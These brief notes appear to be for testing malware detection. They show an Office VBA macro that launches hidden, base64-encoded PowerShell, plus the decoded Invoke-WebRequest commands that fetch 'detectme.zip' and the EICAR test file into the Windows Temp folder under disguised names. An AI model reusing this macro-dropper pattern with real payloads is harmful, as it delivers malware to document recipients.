Office Macros

Sub RunPowershellCommand(ByVal sPSCmd As String) 'Execute command sPSCmd = "powershell -hidden -e SW52b2tlLVdlYlJlcXVlc3QgaHR0cDovL3Ztb3NocGl0LmNvbS9kZXRlY3RtZS56aXAgLU91dEZpbGUgQzpcV2luZG93c1xUZW1wXGE1a0xkTzMudG1w " & sPSCmd CreateObject("WScript.Shell").Exec (sPSCmd) End Sub


Invoke-WebRequest http://vmoshpit.com/detectme.zip -OutFile C:\Windows\Temp\a5kLdO3.tmp

SW52b2tlLVdlYlJlcXVlc3QgaHR0cDovL3Ztb3NocGl0LmNvbS9kZXRlY3RtZS56aXAgLU91dEZpbGUgQzpcV2luZG93c1xUZW1wXGE1a0xkTzMudG1w

Invoke-WebRequest https://secure.eicar.org/eicar.com.txt -OutFile C:\Windows\Temp\test.jar

powershell -hidden -e "SW52b2tlLVdlYlJlcXVlc3QgaHR0cHM6Ly9zZWN1cmUuZWljYXIub3JnL2VpY2FyLmNvbS50eHQgLU91dEZpbGUgQzpcV2luZG93c1xUZW1wXHRlc3QuamFy"